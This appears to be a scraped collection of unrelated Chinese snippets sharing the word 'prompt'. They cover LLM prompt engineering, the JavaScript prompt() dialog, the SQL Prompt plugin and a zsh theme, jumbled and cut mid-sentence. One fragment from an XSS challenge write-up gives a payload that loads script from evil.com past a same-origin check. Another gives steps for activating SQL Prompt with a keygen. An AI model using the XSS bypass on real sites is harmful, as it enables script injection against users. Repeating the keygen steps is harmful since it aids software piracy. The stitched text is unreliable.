在这里，我们讨论了几个撰写提示（输入模型的内容）的原则和技巧，这些提示将帮助您为您的任务获得最佳的生成结果。选择正确的温度也会对生成质量产生很大的影响，我们会在...
这篇文章详细汇总了近2年10篇论文中3种Prompt Engineering方法，主要包括人工构造prompt、自动生成prompt、隐空间prompt3种类型，看看顶会论文中都是如何构造prompt模板并以此提升...1 人工构造prompt 最基础的方法就是基于人工知识来定义prompt模板。Prompt模板可以分为prefix prompt和cloze prompt两类。...2 自动生成prompt 人工构造的prompt依赖人工经验，并且效果也难以保障，一般采用构造多组prompt，对每组prompt的效果分别进行验证对比，或者多组prompt融合的方法提升效果。...prompt模板的效果选择最优的prompt模板，或对多个prompt模板结果进行融合。...3 隐空间中的prompt 上面介绍prompt模板都是具体文本的prompt，另一种类型的prompt是在隐空间的prompt。
Prompt工程师指南应用篇：Prompt应用、ChatGPT|Midjouney Prompt Engineering 1.ChatGPT Prompt Engineering 主题： 与 ChatGPT...A Comparative Study on ChatGPT and Fine-tuned BERT (Feb 2023) A Prompt Pattern Catalog to Enhance Prompt...3.Prompt 应用 在这个指南中，将介绍一些高级和有趣的方式，通过 prompt engineering 来执行有用的更高级别的任务。 请注意，本节正在积极开发中。...例如，我们可以使用它来生成情感分类器的快速样本，如下所示： Prompt: 生成10个情感分析的例子。这些例子被分类为正面或负面。生成2个负面例子和8个正面例子。...DATE_UNDERSTANDING_PROMPT = """ # Q: 2015 is coming in 36 hours.
Prompt进阶系列4:LangGPT(构建高性能Prompt实践指南)–结构化Prompt 1.结构化 Prompt简介 结构化的思想很普遍，结构化内容也很普遍，我们日常写作的文章，看到的书籍都在使用标题...结构化 prompt 直观上和传统的 prompt 方式差异就很大，那么为什么提倡结构化方式编写 Prompt 呢？...对人来说，Prompt 内容一目了然，语义清晰，只需要依样画瓢写 Prompt 就行。如果使用 LangGPT 提供的 Prompt 生成助手，还可以帮你生成高质量的初版 Prompt。...生成的初版 Prompt 足以应对大部分日常场景，生产级应用场景下的 prompt 也可以在这个初版 prompt 基础上进行迭代优化得到，能够大大降低编写 prompt 的任务量。...自动化分析评估 Prompt 可以使用 prompt 评分分析类 Prompt“” #Role:Prompt工程师 ##Attention： - 我总是被老板骂写不出来Prompt，如果你能写出优秀的
当然, 参考下这些好的Prompt是非常有价值的. 但写出好的Prompt的一个关键的方式不在于去抄那些好的Prompts, 而是自己持续去改进微调你的Prompts....根据你的期望,提出一个Prompt, 向ChatGPT提问 获得ChatGPT的响应,比对结果与你的期望的差距, 调整Prompt,弥补ChatGPT忽略的地方 再次获得ChatGPT的响应,检查是否满足你的需求...这才是好的Prompt的生成的最佳方式. 不存在一个放之四海皆标准的好Prompt, 你需要持续的与ChatGPT互动,去微调你的Prompt,才有可能让它更满足你的需求....这篇文章是我从我过往的文章中随便选出来的 -- JMeter与LoadRunner的简要对比 第一版Prompt 我希望ChatGPT帮助我总结这篇文章说了什么, 所以我的第一版的Prompt是这样的...所以意识到这一点后,我改进了我的Prompt 第二版Prompt 我提供了一段文章,以---开始并结束. --- .... 文章内容过长,忽略.
/js/test.js if (/^(?...'; } } 分析 // sample script: http://prompt.ml/js/test.js 看上去只能引用同域下的 js，但这里有个 decodeURIComponent 进行解码...payload //prompt.ml%2f@evil.com/xss.js 一直不弹窗，打开 F12，发现了下面这个，原来是被 Chrome 拦截了 Provisional headers are shown...So this works in MSIE - a very useful trick: 8....，而在url中，协议和域名是不区分大小写 10
这类template的定义我们在之前的《Prompt Learning——basic & 【EACL 2021】PET》中有举例过。
{ } 火狐浏览器显示样式如下: 谷歌浏览器显示样式如下： 3、prompt(？，？):用于显示可提示用户进行输入的对话框。...写在script标签中 第一个问是显示的文本，第二个问是输入框中的默认值（可不写） 点击确认返回输入框中的内容，取消返回null 如: var info = prompt("请输入您的姓名:"); 火狐浏览器显示样式如下
SQL Prompt是一款拥有SQL智能提示功能和格式化Sql代码插件。可用于的SQL Server和VS。...SQL Prompt能根据数据库的对象名称，语法和用户编写的代码片段自动进行检索，智能的为用户提供唯一合适的代码选择。自动脚本设置为用户提供了简单的代码 易读性。...下载地址 软件使用方法如下： 1.解压软件压缩包内容 2.安装SQLPrompt_7.0.0.40.exe，一路Next直至安装完成 3.打开SQL Server 2008 R2在工具栏点击SQL Prompt...，进入注册界面 菜单路径：SQL_Prompt=>Help=>Manage License… 4.注册页面 5.打开SQL.Prompt.Keygen.exe并复制序列号到刚才的窗口 6.填入,然后要先断网
个人觉得2021年NLP最火的两个idea，一个是对比学习（Contrastive Learning），另一个就是Prompt 浅谈我对Prompt的理解 Prompt说简单也简单，看了几篇论文以及博客后发现其实就是构建一个语言模版...如果在句中，一般称这种Prompt为Cloze Prompt；如果在句末，一般称这种Prompt为Prefix Prompt。...的设计 Prompt大概可以从下面三个角度进行设计： Prompt的形状 人工设计模板 自动学习模板 Prompt的形状 Prompt的形状主要指的是[X]和[Z]的位置和数量。...离散方法主要包括：Prompt Mining，Prompt Paraphrasing，Gradient-based Search，Prompt Generation和Prompt Scoring；连续的则主要包括...尽管Prompt方法在很多情况下都取得了成功，但是目前Prompt-based Learning理论分析还很少，人们很难了解Prompt为什么能达到好的效果，又为什么在自然语言中意义相近的Prompt有时效果却相差很大
- 使用分隔符清楚的指示输入的不同部分 （分隔符可以是任何的符号，将特定文本与提示的其余部分分隔开）
和前两章微调LM和全部冻结的prompt模板相比，微调Prompt范式最大的区别就是prompt模板都是连续型（Embedding），而非和Token对应的离散型模板。...核心在于我们并不关心prompt本身是否是自然语言，只关心prompt作为探针能否引导出预训练模型在下游任务上的特定能力。 固定LM微调Prompt的范式有以下几个优点 性价比高！...微调参数少，冻结LM只微调prompt部分的参数 无人工参与！无需人工设计prompt模板，依赖模型微调即可 多任务共享模型！因为LM被冻结，只需训练针对不同任务的prompt即可。...实际可能是相关离散prompt词的聚合语义 当连续prompt较长（len=100）, 存在多个prompt token的KNN相同：个人认为这和prefix-tuning使用MLP那里我的猜测相似，prompt...这样更新prompt就是对应更新整个lstm+MLP部分的Prompt Encoder。
如果数据库中的对象有变化，需要手动刷新一下缓存，可以按Ctrl + Shift + D，或者在主菜单中找到SQL Prompt→ Refresh Suggestions。...例如输入“ssf”，按下‘Tab’键，相当于输入了‘select * from ’； 当然了，Sql Prompt 支持自定义代码段，用户可以根据自己的需求去添加。...SQL Prompt → Options → Suggestions → Snippets →new/edit/delete 6、其它 配置项还有很多，大家按需设置即可。
---- 概念 prompt 是给预训练语言模型 的一个线索/提示，更好的理解 人类的问题。...面向大模型，和日常沟通使用的语言有很大区别. prompt像说明书，精确而又全面描述需求，写满了详细性能指标参数。...把具体需求转述成为机器高效理解的优质prompt，是一件反直觉、反人性的事情 prompt基本结构 先描述这个任务，然后说明需要怎样的输出，最后跟上需要处理的内容。...三个构成： [任务描述] [输出格式] [用户输入] 如何编写prompt 由三个主要元素组成： 任务：对提示要求模型生成的内容进行清晰而简洁的陈述。 指令：在生成文本时模型应遵循的指令。...Engineering Techniques 全书24章，内容总结如下： 第一章：Prompt 工程技术简介：通过提示指导 ChatGPT 这类语言模型输出 第二章：指令提示技术：提供清晰简洁的任务
.oh-my-zsh/themes/robbyrussell.zsh-theme.bak cat > ~/.oh-my-zsh/themes/robbyrussell.zsh-theme <<EOF PROMPT...@ %{$fg[white]%}%M %{$fg_bold[red]%}➜ %{$fg_bold[green]%}%p %{$fg[cyan]%}%c %{$fg_bold[blue]%}$(git_prompt_info
sql prompt格式设置。 格式前： 格式后：
每周论文阅读笔记，来自于2023LARGE LANGUAGE MODELS ARE HUMAN-LEVEL PROMPT ENGINEERS code:https://github.com/keirp/...automatic_prompt_engineer 手写prompt确实很费脑筋，但其实本身大语言模型就是一个很好的自动prompt工具，APE文章提出自动prompt工程（Automatic Prompt...Engineer），利用语言模型+蒙特卡洛搜索 自动的寻找最优的Prompt样例，最终在多项任务的效果几乎达到人类水平。...2）利用语言模型对候选评分：以候选作为prompt，输出对应测试case的output，通过label验证。过滤掉得分太低的prompt候选。...后记：prompt工程分为soft prompts和natural language prompt，ChatGpt后的语言模型基本都是natural language prompt，本文也是后者。
5.prompt 例 1.5（promptIEFF.html) <!...返回值：Property/method value type: String primitive JavaScript syntax: - myResult = myWindow.prompt...(aString, aDefaultValue) - myResult = prompt(aString, aDefaultValue) Argument list: aDefaultValue
Don't confuse writing a \ clear prompt with writing a short prompt. \ In many cases, longer prompts provide...Text: ```{text}``` """ response = get_completion(prompt_1) print("Completion for prompt 1:") print(response..._2) print("\nCompletion for prompt 2:") print(response) output: Completion for prompt 2: Text: In a charming...to generate text that is semantically consistent with the prompt....affect the model's performance. # Iterative Prompt Development # Prompt Guidelines Be clear and specific
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